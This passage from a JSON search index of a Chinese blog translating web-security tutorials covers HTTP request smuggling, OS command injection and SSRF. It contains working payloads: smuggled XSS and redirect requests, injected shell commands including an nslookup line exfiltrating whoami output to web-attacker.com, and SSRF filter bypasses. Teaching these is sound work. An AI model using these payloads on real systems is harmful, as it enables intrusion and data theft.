smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"使用 HTTP 请求走私进行反射型 XSS 攻击 如果应用程序既存在 HTTP 请求走私漏洞,又存在反射型 XSS 漏洞,那么你可以使用请求走私攻击应用程序的其他用户。这种方法在两个方面优于一般的反射型 XSS 攻击方式: 它不需要与受害用户交互。你不需要给受害用户发送一个钓鱼链接,然后等待他们访问。你只需要走私一个包含 XSS 有效负载的请求,由后端服务器处理的下一个用户的请求就会命中。 它可以在请求的某些部分(如 HTTP 请求头)中利用 XSS 攻击,而这在正常的反射型 XSS 攻击中无法轻易控制。 假设某个应用程序在 User-Agent 头上存在反射型 XSS 漏洞,那么你可以通过如下所示的请求走私利用此漏洞: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 63 Transfer-Encoding: chunked 0 GET / HTTP/1.1 User-Agent: \u003cscript\u003ealert(1)\u003c/script\u003e Foo: X 此时,下一个用户的请求将被附加到走私的请求后,且他们将在响应中接收到反射型 XSS 的有效负载。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:4:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"利用 HTTP 请求走私将站内重定向转换为开放重定向 许多应用程序根据请求的 HOST 头进行站内 URL 的重定向。一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对不带斜杠的目录的请求将重定向到带斜杠的同一个目录: GET /home HTTP/1.1 Host: normal-website.com HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ 通常,此行为被认为是无害的,但是可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X 走私请求将会触发一个到攻击者站点的重定向,这将影响到后端服务处理的下一个用户的请求,例如: GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ 此时,如果用户请求的是一个在 web 站点导入的 JavaScript 文件,那么攻击者可以通过在响应中返回自己的 JavaScript 来完全控制受害用户。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:5:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"利用 HTTP 请求走私进行 web cache poisoning 上述攻击的一个变体就是利用 HTTP 请求走私去进行 web cache 投毒。如果前端基础架构中的任何部分使用 cache 缓存,那么可能使用站外重定向响应来破坏缓存。这种攻击的效果将会持续存在,随后对受污染的 URL 发起请求的所有用户都会中招。 在这种变体攻击中,攻击者发送以下内容到前端服务器: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 59 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /static/include.js HTTP/1.1 Host: vulnerable-website.com 后端服务器像之前一样进行站外重定向对走私请求进行响应。前端服务器认为是第二个请求的 URL 的响应,然后进行缓存: /static/include.js: GET /static/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ 从此刻开始,当其他用户请求此 URL 时,他们都会收到指向攻击者网站的重定向。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:6:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"利用 HTTP 请求走私进行 web cache poisoning 另一种攻击变体就是利用 HTTP 请求走私去进行 web cache 欺骗。这与 web cache 投毒的方式类似,但目的不同。 web cache poisoning(缓存中毒) 和 web cache deception(缓存欺骗) 有什么区别? 对于 web cache poisoning(缓存中毒),攻击者会使应用程序在缓存中存储一些恶意内容,这些内容将从缓存提供给其他用户。 对于 web cache deception(缓存欺骗),攻击者使应用程序在缓存中存储属于另一个用户的某些敏感内容,然后攻击者从缓存中检索这些内容。 这种攻击中,攻击者发起一个返回用户特定敏感内容的走私请求。例如: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 43 Transfer-Encoding: chunked 0 GET /private/messages HTTP/1.1 Foo: X 来自另一个用户的请求被后端服务器被附加到走私请求后,包括会话 cookie 和其他标头。例如: GET /private/messages HTTP/1.1 Foo: X GET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z ... 后端服务器以正常方式响应此请求。这个请求是用来获取用户的私人消息的,且会在受害用户会话的上下文中被正常处理。前端服务器根据第二个请求中的 URL 即 /static/some-image.png 缓存了此响应: GET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 200 Ok ... \u003ch1\u003eYour private messages\u003c/h1\u003e ... 然后,攻击者访问静态 URL,并接收从缓存返回的敏感内容。 这里的一个重要警告是,攻击者不知道敏感内容将会缓存到哪个 URL 地址,因为这个 URL 地址是受害者用户在走私请求生效时恰巧碰到的。攻击者可能需要获取大量静态 URL 来发现捕获的内容。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:7:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"Finding request smuggling","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"查找 HTTP 请求走私漏洞 在本节中,我们将介绍用于查找 HTTP 请求走私漏洞的不同技术。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:0:0","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"计时技术 检测 HTTP 请求走私漏洞的最普遍有效的方法就是计时技术。发送请求,如果存在漏洞,则应用程序的响应会出现时间延迟。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:1:0","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"使用计时技术查找 CL.TE 漏洞 如果应用存在 CL.TE 漏洞,那么发送如下请求通常会导致时间延迟: POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 4 1 A X 前端服务器(转发服务)使用 Content-Length 认为消息体只有 4 个字节,即 1\\r\\nA,因此后面的 X 被忽略了,然后把这个请求转发给后端。而后端服务使用 Transfer-Encoding 则会一直等待终止分块 0\\r\\n 。这就会导致明显的响应延迟。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:1:1","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"使用计时技术查找 TE.CL 漏洞 如果应用存在 TE.CL 漏洞,那么发送如下请求通常会导致时间延迟: POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 6 0 X 前端服务器(转发服务)使用 Transfer-Encoding,由于第一个分块就是 0\\r\\n 终止分块,因此后面的 X 直接被忽略了,然后把这个请求转发给后端。而后端服务使用 Content-Length 则会一直等到后续 6 个字节的内容。这就会导致明显的延迟。 注意:如果应用程序易受 CL.TE 漏洞的攻击,则基于时间的 TE.CL 漏洞测试可能会干扰其他应用程序用户。因此,为了隐蔽并尽量减少干扰,你应该先进行 CL.TE 测试,只有在失败了之后再进行 TE.CL 测试。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:1:2","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"使用差异响应确认 HTTP 请求走私漏洞 当检测到可能的请求走私漏洞时,可以通过利用该漏洞触发应用程序响应内容的差异来获取该漏洞进一步的证据。这包括连续向应用程序发送两个请求: 一个攻击请求,旨在干扰下一个请求的处理。 一个正常请求。 如果对正常请求的响应包含预期的干扰,则漏洞被确认。 例如,假设正常请求如下: POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling 这个请求通常会收到状态码为 200 的 HTTP 响应,响应内容包含一些搜索结果。 攻击请求则取决于请求走私是 CL.TE 还是 TE.CL 。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:2:0","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"使用差异响应确认 CL.TE 漏洞 为了确认 CL.TE 漏洞,你可以发送如下攻击请求: POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 49 Transfer-Encoding: chunked e q=smuggling\u0026x= 0 GET /404 HTTP/1.1 Foo: x 如果攻击成功,则最后两行会被后端服务视为下一个请求的开头。这将导致紧接着的一个正常的请求变成了如下所示: GET /404 HTTP/1.1 Foo: xPOST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling 由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:2:1","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"使用差异响应确认 TE.CL 漏洞 为了确认 TE.CL 漏洞,你可以发送如下攻击请求: POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 7c GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 144 x= 0 如果攻击成功,则后端服务器将从 GET / 404 以后的所有内容都视为属于收到的下一个请求。这将会导致随后的正常请求变为: GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 146 x= 0 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling 由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。 注意,当试图通过干扰其他请求来确认请求走私漏洞时,应记住一些重要的注意事项: “攻击”请求和“正常”请求应该使用不同的网络连接发送到服务器。通过同一个连接发送两个请求不会证明该漏洞存在。 “攻击”请求和“正常”请求应尽可能使用相同的URL和参数名。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数会增加请求被同一个后端服务器处理的可能性,这对于攻击起作用至关重要。 当测试“正常”请求以检测来自“攻击”请求的任何干扰时,您与应用程序同时接收的任何其他请求(包括来自其他用户的请求)处于竞争状态。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序正忙,则可能需要执行多次尝试来确认该漏洞。 在某些应用中,前端服务器充当负载均衡器,根据某种负载均衡算法将请求转发到不同的后端系统。如果您的“攻击”和“正常”请求被转发到不同的后端系统,则攻击将失败。这是您可能需要多次尝试才能确认漏洞的另一个原因。 如果您的攻击成功地干扰了后续请求,但这不是您为检测干扰而发送的“正常”请求,那么这意味着另一个应用程序用户受到了您的攻击的影响。如果您继续执行测试,这可能会对其他用户产生破坏性影响,您应该谨慎行事。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:2:2","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"web 安全之 OS command injection","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"OS command injection 在本节中,我们将解释什么是操作系统命令注入,描述如何检测和利用此漏洞,为不同的操作系统阐明一些有用的命令和技术,并总结如何防止操作系统命令注入。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:0:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"什么是操作系统命令注入 OS 命令注入(也称为 shell 注入)是一个 web 安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意的操作系统命令,这通常会对应用程序及其所有数据造成严重危害。并且,攻击者也常常利用此漏洞危害基础设施中的其他部分,利用信任关系攻击组织内的其他系统。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:1:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"执行任意命令 假设某个购物应用程序允许用户查看某个商品在特定商店中是否有库存,此信息可以通过以下 URL 获取: https://insecure-website.com/stockStatus?productID=381\u0026storeID=29 为了提供返回信息,应用程序必须查询各种遗留系统。由于历史原因,此功能通过调用 shell 命令并传递参数来实现如下: stockreport.pl 381 29 此命令输出特定商店中某个商品的库存信息,并将其返回给用户。 由于应用程序没有对 OS 命令注入进行防御,那么攻击者可以提交类似以下输入来执行任意命令: \u0026 echo aiwefwlguh \u0026 如果这个输入被当作 productID 参数,那么应用程序执行的命令就是: stockreport.pl \u0026 echo aiwefwlguh \u0026 29 echo 命令就是让提供的字符串在输出中显示的作用,其是测试某些 OS 命令注入的有效方法。\u0026 符号就是一个 shell 命令分隔符,因此上例实际执行的是一个接一个的三个单独的命令。因此,返回给用户的输出为: Error - productID was not provided aiwefwlguh 29: command not found 这三行输出表明: 原来的 stockreport.pl 命令由于没有收到预期的参数,因此返回错误信息。 注入的 echo 命令执行成功。 原始的参数 29 被当成了命令执行,也导致了异常。 将命令分隔符 \u0026 放在注入命令之后通常是有用的,因为它会将注入的命令与注入点后面的命令分开,这减少了随后发生的事情将阻止注入命令执行的可能性。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:2:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"常用的命令 当你识别 OS 命令注入漏洞时,执行一些初始命令以获取有关系统信息通常很有用。下面是一些在 Linux 和 Windows 平台上常用命令的摘要: 命令含义 Linux Windows 显示当前用户名 whoami whoami 显示操作系统信息 uname -a ver 显示网络配置 ifconfig ipconfig /all 显示网络连接 netstat -an netstat -an 显示正在运行的进程 ps -ef tasklist ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:3:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"不可见 OS 命令注入漏洞 许多 OS 命令注入漏洞都是不可见的,这意味着应用程序不会在其 HTTP 响应中返回命令的输出。 不可见 OS 命令注入漏洞仍然可以被利用,但需要不同的技术。 假设某个 web 站点允许用户提交反馈信息,用户输入他们的电子邮件地址和反馈信息,然后服务端生成一封包含反馈信息的电子邮件投递给网站管理员。为此,服务端需要调用 mail 程序,如下: mail -s \"This site is great\" -aFrom:peter@normal-user.net feedback@vulnerable-website.com mail 命令的输出并没有作为应用程序的响应返回,因此使用 echo 负载不会有效。这种情况,你可以使用一些其他的技术来检测漏洞。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:4:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"基于延时检测 你可以使用能触发延时的注入命令,然后根据应用程序的响应时长来判断注入的命令是否被执行。使用 ping 命令是一种有效的方式,因为此命令允许你指定要发送的 ICMP 包的数量以及命令运行的时间: \u0026 ping -c 10 127.0.0.1 \u0026 这个命令将会 ping 10 秒钟。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:4:1","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"重定向输出 你可以将注入命令的输出重定向到能够使用浏览器访问到的 web 目录。例如,应用程序使用 /var/www/static 路径作为静态资源目录,那么你可以提交以下输入: \u0026 whoami \u003e /var/www/static/whoami.txt \u0026 \u003e 符号就是输出重定向的意思,上面这个命令就是把 whoami 的执行结果输出到 /var/www/static/whoami.txt 文件中,然后你就可以通过浏览器访问 https://vulnerable-website.com/whoami.txt 查看命令的输出结果。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:4:2","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"使用 OAST 技术 使用 OAST 带外技术就是你要有一个自己控制的外部系统,然后注入命令执行,触发与你控制的系统的交互。例如: \u0026 nslookup kgji2ohoyw.web-attacker.com \u0026 这个负载使用 nslookup 命令对指定域名进行 DNS 查找,攻击者可以监视是否发生了指定的查找,从而检测命令是否成功注入执行。 带外通道还提供了一种简单的方式将注入命令的输出传递出来,例如: \u0026 nslookup `whoami`.kgji2ohoyw.web-attacker.com \u0026 这将导致对攻击者控制的域名的 DNS 查找,如: wwwuser.kgji2ohoyw.web-attacker.com ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:4:3","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"注入 OS 命令的方法 各种 shell 元字符都可以用于执行 OS 命令注入攻击。 许多字符用作命令分隔符,从而将多个命令连接在一起。以下分隔符在 Windows 和 Unix 类系统上均可使用: \u0026 \u0026\u0026 | || 以下命令分隔符仅适用于 Unix 类系统: ; 换行符(0x0a 或 \\n) 在 Unix 类系统上,还可以使用 ` 反引号和 $ 符号在原始命令内注入命令内联执行: ` $ 需要注意的是,不同的 shell 元字符具有细微不同的行为,这些行为可能会影响它们在某些情况下是否工作,以及它们是否允许在带内检索命令输出,或者只对不可见 OS 利用有效。 有时,你控制的输入会出现在原始命令中的引号内。在这种情况下,您需要在使用合适的 shell 元字符注入新命令之前终止引用的上下文(使用 \" 或 ’)。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:5:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"如何防御 OS 命令注入攻击 防止 OS 命令注入攻击最有效的方法就是永远不要从应用层代码中调用 OS 命令。几乎在对于所有情况下,都有使用更安全的平台 API 来实现所需功能的替代方法。 如果认为使用用户提供的输入调用 OS 命令是不可避免的,那么必须执行严格的输入验证。有效验证的一些例子包括: 根据允许值的白名单校验。 验证输入是否为数字。 验证输入是否只包含字母数字字符,不包含其它语法或空格。 不要试图通过转义 shell 元字符来清理输入。实际上,这太容易出错,且很容易被熟练的攻击者绕过。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:6:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"web 安全之 Server-side request forgery","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"Server-side request forgery (SSRF) 在本节中,我们将解释 server-side request forgery(服务端请求伪造)是什么,并描述一些常见的示例,以及解释如何发现和利用各种 SSRF 漏洞。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:0:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"SSRF 是什么 SSRF 服务端请求伪造是一个 web 漏洞,它允许攻击者诱导服务端程序向攻击者选择的任何地址发起 HTTP 请求。 在典型的 SSRF 示例中,攻击者可能会使服务端建立一个到服务端自身、或组织基础架构中的其它基于 web 的服务、或外部第三方系统的连接。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:1:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"SSRF 攻击的影响 成功的 SSRF 攻击通常会导致未经授权的操作或对组织内部数据的访问,无论是在易受攻击的应用程序本身,还是应用程序可以通信的其它后端系统。在某些情况下,SSRF 漏洞可能允许攻击者执行任意的命令。 利用 SSRF 漏洞可能可以操作服务端应用程序使其向与之连接的外部第三方系统发起恶意请求,这将导致潜在的法律责任和声誉受损。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:2:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"常见的 SSRF 攻击 SSRF 攻击通常利用服务端应用程序的信任关系发起攻击并执行未经授权的操作。这种信任关系可能包括:对服务端自身的信任,或同组织内其它后端系统的信任。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:3:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"SSRF 攻击服务端自身 在针对服务端本身的 SSRF 攻击中,攻击者诱导应用程序向其自身发出 HTTP 请求,这通常需要提供一个主机名是 127.0.0.1 或者 localhost 的 URL 。 例如,假设某个购物应用程序,其允许用户查看某个商品在特定商店中是否有库存。为了提供库存信息,应用程序需要通过 REST API 查询其他后端服务,而其他后端服务的 URL 地址直接包含在前端 HTTP 请求中。因此,当用户查看商品的库存状态时,浏览器可能发出如下请求: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 这将导致服务端向指定的 URL 发出请求,检索库存状态,然后将结果返回给用户。 在这种情况下,攻击者可以修改请求以指定服务器本地的 URL ,例如: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin 此时,服务端将会访问本地 /admin URL 并将其内容返回给用户。 当然,攻击者可以直接访问 /admin URL ,但是这通常没用,因为管理功能基本都需要进行适当的身份验证,而如果对 /admin URL 的请求来自机器本地,则正常情况下的访问控制可能会被绕过。该服务端应用程序可能会授予对管理功能的完全访问权限,因为请求似乎来自受信任的位置。 为什么应用程序会以这种方式运行,并且隐式信任来自本地的请求?这可能有多种原因: 访问控制检查可能是另外的一个微服务。当服务器连接自身时,将会绕过访问控制检查。 出于灾难恢复的目的,应用程序可能允许来自本地机器的任何用户在不登录的情况下进行管理访问。这为管理员在丢失凭证时恢复系统提供了一种方法。这里的假设是只有完全可信的用户才能直接来自服务器本地。 管理接口可能与主应用是不同的端口号,因为用户可能无法直接访问。 在这种信任关系中,来自本地机器的请求的处理方式与普通请求不同,这常常使 SSRF 成为一个严重的漏洞。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:3:1","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"针对其他后端系统的 SSRF 攻击 SSRF 利用的另外一种信任关系是应用服务端与用户无法直接访问的内部后端系统之间进行的交互,这些后端系统通常具有不可路由的专用 IP 地址,由于受到网络拓扑结构的保护,它们的安全性往往较弱。在许多情况下,内部后端系统包含一些敏感功能,任何能够与系统交互的人都可以在不进行身份验证的情况下访问这些功能。 在前面的示例中,假设后端系统有一个管理接口 https://192.168.0.68/admin 。此时,攻击者可以通过提交以下请求利用 SSRF 漏洞访问管理接口: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:3:2","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"规避常见的 SSRF 防御 通常应用程序包含 SSRF 行为以及防止恶意攻击的防御措施,然而这些防御措施是可以被规避的。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:4:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"基于黑名单过滤的 SSRF 某些应用程序禁止例如 127.0.0.1、localhost 等主机名、或 /admin 等敏感 URL 。这种情况下,可以使用各种技巧绕过过滤: 使用 127.0.0.1 的替代 IP 地址表示,例如 2130706433,017700000001,127.1 。 注册自己的域名,并解析为 127.0.0.1 ,你可以直接使用 spoofed.burpcollaborator.net 。 使用 URL 编码或大小写变化来混淆被阻止的字符串。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:4:1","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"基于白名单过滤的 SSRF 有些应用程序只允许输入匹配、或包含白名单中的值,或以白名单中的值开头。在这种情况下,有时可以利用 URL 解析的不一致来绕过过滤器。 URL 规范包含有许多在实现 URL 的解析和验证时容易被忽略的特性: 你可以在主机名之前使用 @ 符号嵌入凭证。例如 https://expected-host@evil-host 。 你可以使用 # 符号表示一个 URL 片段。例如 https://evil-host#expected-host 。 你可以利用 DNS 命令层次结构将所需的输入放入你控制的标准 DNS 名称中。例如 https://expected-host.evil-host 。 你可以使用 URL 编码字符来迷惑 URL 解析代码。如果处理 URL 编码的过滤器的实现不同与执行后端 HTTP 请求的代码,这一点尤其有用。 你可以把这些技巧结合起来使用。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:4:2","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"通过开放重定向绕过 SSRF 过滤器 有时利用开放重定向漏洞可以绕过任何基于过滤器的防御。 在前面的示例中,假设用户提交的 URL 经过严格验证,以防止恶意利用 SSRF 的行为,但是,允许使用 URL 的应用程序包含一个开放重定向漏洞。如果用于发起后端 HTTP 请求的 API 支持重定向,那么你可以构造一个满足过滤器的要求的 URL ,并将请求重定向到所需的后端目标。 例如,假设应用程序包含一个开放重定向漏洞,例如下面 URL 的形式: /product/nextProduct?currentProductId=6\u0026path=http://evil-user.net 重定向到: http://evil-user.net 你可以利用开放重定向漏洞绕过 URL 过滤器,并利用 SSRF 漏洞进行攻击,如: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6\u0026path=http://192.168.0.68/admin 这个 SSRF 攻击之所有有效,是因为首先 stockAPI URL 在应用程序允许的域上,然后应用程序向提供的 URL 发起请求,触发了重定向,最终向重定向的内部 URL 发起了请求。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:4:3","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"Blind SSRF - 不可见 SSRF 漏洞 所谓 Blind SSRF(不可见 SSRF)漏洞是指,可以诱导应用程序向提供的 URL 发起后端 HTTP 请求,但是请求的响应并没有在应用程序的前端响应中返回。 不可见 SSRF 漏洞通常较难利用,但有时会导致服务器或其他后端组件上的远程代码执行。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:5:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"寻找 SSRF 漏洞的隐藏攻击面 许多 SSRF 漏洞之所以相对容易发现,是因为应用程序的正常通信中就包含了完整的 URL 请求参数。而其它情况就比较难搞了。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:6:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"请求中的部分 URL 有时应用程序只将主机名或 URL 路径的一部分放入请求参数中,然后,提交的值被合并到服务端请求的完整 URL 中。如果该值很容易被识别为主机名或 URL 路径,那么潜在的攻击面可能很明显。但是,因为你不能控制最终请求的 URL,所以 SSRF 的可利用性会受到限制。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:6:1","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"数据格式内的 URL 有些应用程序以某种数据格式传输数据,URL 则包含在指定数据格式中。这里的数据格式的一个明显的例子就是 XML ,当应用程序接受 XML 格式的数据并对其进行解析时,可能会受到 XXE 注入,进而通过 XXE 完成 SSRF 攻击。有关 XXE 注入漏洞会有专门的章节讲解。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:6:2","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"通过 Referer 头的 SSRF 一些应用程序使用服务端分析软件来跟踪访问者,这种软件经常在请求中记录 Referer 头,因为这对于跟踪传入链接特别有用。通常,分析软件实际上会访问 Referer 头中出现的任何第三方 URL 。这通常用于分析引用站点的内容,包括传入链接中使用的锚文本。因此,Referer 头通常是 SSRF 漏洞的有效攻击面。有关涉及 Referer 头的漏洞示例请参阅 Blind SSRF 。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:6:3","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"Blind SSRF","date":"2021-03-01","objectID":"/translation/web-security/ssrf/blind-ssrf/","tags":[],"title":"Blind SSRF","uri":"/translation/web-security/ssrf/blind-ssrf/"},{"categories":["web security"],"content":"Blind SSRF 在本节中,我们将解释什么是不可见的服务端请求伪造,并描述一些常见的不可见 SSRF 示例,以及解释如何发现和利用不可见 SSRF 漏洞。 